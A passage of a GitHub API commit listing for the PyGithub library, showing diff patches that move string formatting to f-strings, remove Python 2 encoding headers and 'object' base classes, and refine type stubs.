\"\"\"\n@@ -339,13 +337,13 @@ def get_repo(self, full_name_or_id, lazy=False):\n \"\"\"\n assert isinstance(full_name_or_id, (str, int)), full_name_or_id\n url_base = \"/repositories/\" if isinstance(full_name_or_id, int) else \"/repos/\"\n- url = \"%s%s\" % (url_base, full_name_or_id)\n+ url = f\"{url_base}{full_name_or_id}\"\n if lazy:\n return Repository.Repository(\n self.__requester, {}, {\"url\": url}, completed=False\n )\n headers, data = self.__requester.requestJsonAndCheck(\n- \"GET\", \"%s%s\" % (url_base, full_name_or_id)\n+ \"GET\", f\"{url_base}{full_name_or_id}\"\n )\n return Repository.Repository(self.__requester, headers, data, completed=True)\n \n@@ -431,7 +429,7 @@ def search_repositories(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/repositories `_\n@@ -459,7 +457,7 @@ def search_repositories(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -476,7 +474,7 @@ def search_users(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/users `_\n@@ -500,7 +498,7 @@ def search_users(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -517,7 +515,7 @@ def search_issues(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/issues `_\n@@ -541,7 +539,7 @@ def search_issues(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -556,7 +554,7 @@ def search_code(\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n highlight=False,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/code `_\n@@ -585,7 +583,7 @@ def search_code(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -605,7 +603,7 @@ def search_commits(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/commits `_\n@@ -633,7 +631,7 @@ def search_commits(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -661,7 +659,7 @@ def search_topics(self, query, **qualifiers):\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -809,7 +807,7 @@ def get_app(self, slug=github.GithubObject.NotSet):\n return GithubApp.GithubApp(self.__requester, headers, data, completed=True)\n \n \n-class GithubIntegration(object):\n+class GithubIntegration:\n \"\"\"\n Main class to obtain tokens for a GitHub integration.\n \"\"\"\n@@ -858,7 +856,7 @@ def get_access_token(self, installation_id, user_id=None):\n self.base_url, installation_id\n ),\n headers={\n- \"Authorization\": \"Bearer {}\".format(self.create_jwt()),\n+ \"Authorization\": f\"Bearer {self.create_jwt()}\",\n \"Accept\": Consts.mediaTypeIntegrationPreview,\n \"User-Agent\": \"PyGithub/Python\",\n },\n@@ -892,13 +890,13 @@ def get_installation(self, owner, repo):\n :rtype: :class:`github.Installation.Installation`\n \"\"\"\n headers = {\n- \"Authorization\": \"Bearer {}\".format(self.create_jwt()),\n+ \"Authorization\": f\"Bearer {self.create_jwt()}\",\n \"Accept\": Consts.mediaTypeIntegrationPreview,\n \"User-Agent\": \"PyGithub/Python\",\n }\n \n response = requests.get(\n- \"{}/repos/{}/{}/installation\".format(self.base_url, owner, repo),\n+ f\"{self.base_url}/repos/{owner}/{repo}/installation\",\n headers=headers,\n )\n response_dict = response.json()"},{"sha":"6eccb3431a1ab4664388f8dca734499a8a8eb5eb","filename":"github/Membership.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMembership.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMembership.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMembership.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"642de5f7ddbcb9086907042da89b70eee5b186e2","filename":"github/Migration.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMigration.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMigration.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMigration.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3f3f9829216bbf3d6bf0b95366dddd1ec9ddc1bd","filename":"github/Milestone.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMilestone.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMilestone.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMilestone.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"98e4e29d1b9497117e98ef9dcc0faa8c818d5214","filename":"github/NamedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNamedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNamedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FNamedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"7f427c8b384dc3389b4322d7d0f2d5431834be3c","filename":"github/Notification.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotification.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotification.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FNotification.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"9be34885156bf63e7b71fb55962c1dd446443da8","filename":"github/NotificationSubject.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotificationSubject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotificationSubject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FNotificationSubject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"3354a636b82a5b8d7dc09ed9e4103328bc5180e5","filename":"github/Organization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FOrganization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FOrganization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FOrganization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"8542e31df48579be5dee928702d9eb96bfe89af6","filename":"github/PaginatedList.py","status":"modified","additions":2,"deletions":6,"changes":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPaginatedList.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPaginatedList.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPaginatedList.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -53,12 +51,10 @@ def __getitem__(self, index):\n return self._Slice(self, index)\n \n def __iter__(self):\n- for element in self.__elements:\n- yield element\n+ yield from self.__elements\n while self._couldGrow():\n newElements = self._grow()\n- for element in newElements:\n- yield element\n+ yield from newElements\n \n def _isBiggerThan(self, index):\n return len(self.__elements) > index or self._couldGrow()"},{"sha":"89b9564a85a289881f605ce716a455f5dd1d16e9","filename":"github/Path.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPath.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPath.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPath.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"bd62f0dc92afc74c91ffe01b3769e430738a4000","filename":"github/Permissions.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPermissions.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPermissions.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPermissions.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6bbbbfe3e8d240a88bc4b54b57a20523efb30ea7","filename":"github/Plan.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPlan.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPlan.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPlan.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"9757f74f742da0387241950a2ecc3f8dd1709a86","filename":"github/Project.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FProject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"97b8561c66dd07b832a865747da464ac6347b100","filename":"github/ProjectCard.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectCard.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectCard.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FProjectCard.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"21e312e2cc9728e934effd7ec1376fb91009c22f","filename":"github/ProjectColumn.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectColumn.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectColumn.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FProjectColumn.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"1306f304e12e212ac26ff0827821613fadde74df","filename":"github/PullRequest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Michael Stead #"},{"sha":"597a85ad4af0180bdf8c8408028225c1c93b1026","filename":"github/PullRequest.pyi","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.pyi","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.pyi","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequest.pyi?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -61,16 +61,16 @@ class PullRequest(CompletableGithubObject):\n ) -> PullRequestComment: ...\n def create_review_request(\n self,\n- reviewers: Union[_NotSetType, str] = ...,\n- team_reviewers: Union[_NotSetType, str] = ...,\n+ reviewers: Union[_NotSetType, List[str]] = ...,\n+ team_reviewers: Union[_NotSetType, List[str]] = ...,\n ) -> None: ...\n @property\n def created_at(self) -> datetime: ...\n def delete_labels(self) -> None: ...\n def delete_review_request(\n self,\n- reviewers: Union[_NotSetType, str] = ...,\n- team_reviewers: Union[_NotSetType, str] = ...,\n+ reviewers: Union[_NotSetType, List[str]] = ...,\n+ team_reviewers: Union[_NotSetType, List[str]] = ...,\n ) -> None: ...\n @property\n def deletions(self) -> int: ..."},{"sha":"ae2b4b0e3a55ede25f3b8ef430c72882ea224eb4","filename":"github/PullRequestComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3ec124e5875baf52a0e72e3c8ce9b42c3d218ecd","filename":"github/PullRequestMergeStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestMergeStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestMergeStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestMergeStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"94ab3f3770ee3b2a8784931ef8c6efd34c4ceb8e","filename":"github/PullRequestPart.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestPart.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestPart.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestPart.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"8b217c0df1e1d8840a355a546935e04aa0839ab0","filename":"github/PullRequestReview.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestReview.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestReview.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestReview.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Aaron Levine #"},{"sha":"70b46769f7949071ede8981f50565d39283a3fc0","filename":"github/Rate.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRate.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRate.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRate.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"b40c47808eeb18b7de463d7db59bed24ce0b8e3c","filename":"github/RateLimit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRateLimit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRateLimit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRateLimit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"59089a0a6e7948d8c21b5b2d2e6701d26a8c875b","filename":"github/Reaction.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReaction.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReaction.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FReaction.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Nicolas Agustín Torres #"},{"sha":"7a0d03c64017a06082bbf0719fe65c20fed2877f","filename":"github/Referrer.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReferrer.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReferrer.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FReferrer.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"19f5e945b034bbb1f8162a8a8533f87d152b3505","filename":"github/Repository.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepository.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Christopher Gilbert #"},{"sha":"6476147858965cc86e67753bf261f7ad504695b4","filename":"github/Repository.pyi","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.pyi","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.pyi","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepository.pyi?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -259,6 +259,8 @@ class Repository(CompletableGithubObject):\n author: Union[InputGitAuthor, _NotSetType] = ...,\n ) -> Dict[str, Union[Commit, _NotSetType]]: ...\n @property\n+ def delete_branch_on_merge(self) -> bool: ...\n+ @property\n def deployments_url(self) -> str: ...\n @property\n def description(self) -> str: ...\n@@ -331,7 +333,7 @@ class Repository(CompletableGithubObject):\n def get_contributors(\n self, anon: Union[str, _NotSetType] = ...\n ) -> PaginatedList[NamedUser]: ...\n- def get_deployment(self, id_: int) -> Any: ...\n+ def get_deployment(self, id_: int) -> Deployment: ...\n def get_deployments(\n self,\n sha: Union[str, _NotSetType] = ...,\n@@ -351,6 +353,7 @@ class Repository(CompletableGithubObject):\n ) -> Repository: ...\n def get_git_blob(self, sha: str) -> GitBlob: ...\n def get_git_commit(self, sha: str) -> GitCommit: ...\n+ def get_git_matching_refs(self, ref: str) -> PaginatedList[GitRef]: ...\n def get_git_ref(self, ref: str) -> GitRef: ...\n def get_git_refs(self) -> PaginatedList[GitRef]: ...\n def get_git_tag(self, sha: str) -> GitTag: ..."},{"sha":"2ff72e14980bb890bc077df37317eccb28d467cd","filename":"github/RepositoryKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepositoryKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"467264e0d19cca105b8e66d1508ba9dd30e501b6","filename":"github/RepositoryPreferences.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryPreferences.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryPreferences.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepositoryPreferences.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"8842e3ed0c86cd3500572436b311fd2aa2230dfa","filename":"github/Requester.py","status":"modified","additions":5,"deletions":7,"changes":12,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequester.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequester.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequester.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Andrew Bettison #\n@@ -81,7 +79,7 @@ def read(self):\n return self.text\n \n \n-class HTTPSRequestsConnectionClass(object):\n+class HTTPSRequestsConnectionClass:\n # mimic the httplib connection object\n def __init__(\n self, host, port=None, strict=False, timeout=None, retry=None, **kwargs\n@@ -106,7 +104,7 @@ def request(self, verb, url, input, headers):\n \n def getresponse(self):\n verb = getattr(self.session, self.verb.lower())\n- url = \"%s://%s:%s%s\" % (self.protocol, self.host, self.port, self.url)\n+ url = f\"{self.protocol}://{self.host}:{self.port}{self.url}\"\n r = verb(\n url,\n headers=self.headers,\n@@ -121,7 +119,7 @@ def close(self):\n return\n \n \n-class HTTPRequestsConnectionClass(object):\n+class HTTPRequestsConnectionClass:\n # mimic the httplib connection object\n def __init__(\n self, host, port=None, strict=False, timeout=None, retry=None, **kwargs\n@@ -146,7 +144,7 @@ def request(self, verb, url, input, headers):\n \n def getresponse(self):\n verb = getattr(self.session, self.verb.lower())\n- url = \"%s://%s:%s%s\" % (self.protocol, self.host, self.port, self.url)\n+ url = f\"{self.protocol}://{self.host}:{self.port}{self.url}\"\n r = verb(\n url,\n headers=self.headers,\n@@ -513,7 +511,7 @@ def __requestRaw(self, cnx, verb, url, requestHeaders, input):\n response = cnx.getresponse()\n \n status = response.status\n- responseHeaders = dict((k.lower(), v) for k, v in response.getheaders())\n+ responseHeaders = {k.lower(): v for k, v in response.getheaders()}\n output = response.read()\n \n cnx.close()"},{"sha":"70ef469a02c74e29ad6d708ed98ed69a51016922","filename":"github/RequiredPullRequestReviews.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredPullRequestReviews.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredPullRequestReviews.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequiredPullRequestReviews.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik 